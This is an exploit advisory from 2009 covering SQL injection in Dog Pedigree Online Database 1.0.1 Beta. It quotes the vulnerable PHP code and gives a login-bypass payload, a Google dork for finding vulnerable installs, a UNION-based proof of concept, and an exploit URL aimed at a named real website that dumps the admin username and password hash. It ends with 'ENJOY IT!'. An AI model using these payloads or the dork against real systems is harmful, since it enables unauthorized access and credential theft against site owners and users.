Dog Pedigree Online Database 1.0.1b Multiple SQL Injection Vulns

2009-05-19 00:39:15

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** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
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----------------------------------------------------------------------------------------------
| MULTIPLE SQL INJECTION VULNERABILITIES |
|--------------------------------------------------------------------------------------------|
| | Dog Pedigree Online Database v1.0.1-Beta | |
| CMS INFORMATION: ------------------------------------------------- |
| |
|-->WEB: http://thewhippetarchives.net/twa_is_offline.php |
|-->DOWNLOAD: http://sourceforge.net/projects/dogarchive |
|-->DEMO: N/A |
|-->CATEGORY: Genealogy |
|-->DESCRIPTION: This project allows to setup and maintain a database for |
| collecting (dog) pedigrees. The data will actually be collected... |
|-->RELEASED: 2009-01-25 |
| |
| CMS VULNERABILITY: |
| |
|-->TESTED ON: firefox 3 |
|-->DORK: inurl:"printable_pedigree.php" |
|-->CATEGORY: AUTH-BYPASS / SQL INJECTION (SQLi) |
|-->AFFECT VERSION: <= 1.0.1 Beta |
|-->Discovered Bug date: 2009-05-08 |
|-->Reported Bug date: 2009-05-08 |
|-->Fixed bug date: 2009-05-12 |
|-->Info patch (v1.0.2): http://sourceforge.net/projects/dogarchive/ |
|-->Author: YEnH4ckEr |
|-->mail: y3nh4ck3r[at]gmail[dot]com |
|-->WEB/BLOG: N/A |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
----------------------------------------------------------------------------------------------


#####################
////////////////////

AUTH-BYPASS (SQLi):

////////////////////
#####################


<<<<---------++++++++++++++ Condition-1: magic_quotes_gpc=off +++++++++++++++++--------->>>>


-----------
VULN FILE:
-----------


Path --> [HOME_PATH]/php_users/htdocs/processlogin.php
Lines --> 69-73

...

$sql = sprintf("
SELECT userId,status,email,seclev FROM $USERS_DB.users
WHERE username='%s' AND password='%s'",
$_POST['username'],
md5($_POST['password']));
...


-----------
EXPLOIT:
-----------


Username='or 1=1#
Password=nothing



################
////////////////

SQL INJECTION:

////////////////
################


This aplication is completely vulnerable to sql injection. I only show an example.


-----------
VULN FILE:
-----------


Path --> [HOME_PATH]/manageperson.php
Var --> GET var 'personId'
Lines --> 28,29

...

if (empty($currId))
$currId = $_GET['personId'];

...


Lines --> 164-165

...

$query = "SELECT * FROM person WHERE id=$currId";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());
$line = mysql_fetch_object($result);

...


------
PoC:
------


http://[HOST]/[HOME_PATH]/managePerson.php?personId=-1+UNION+ALL+SELECT+1,version(),user(),database(),version(),user(),database(),version(),user(),database(),11,12%23


Return --> Database version, user and name.


---------
EXPLOIT:
---------


http://www.gavgavclub.ru/tree/managePerson.php?personId=-1+UNION+ALL+SELECT+1,concat(username,0x3A3A3A,password),user(),database(),version(),user(),database(),version(),user(),database(),11,12+FROM+users+WHERE+userId=2252%23


Return --> username:::password


**Note: Admin user id is 2252 by default



<<<-----------------------------EOF---------------------------------->>>ENJOY IT!


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Fixes

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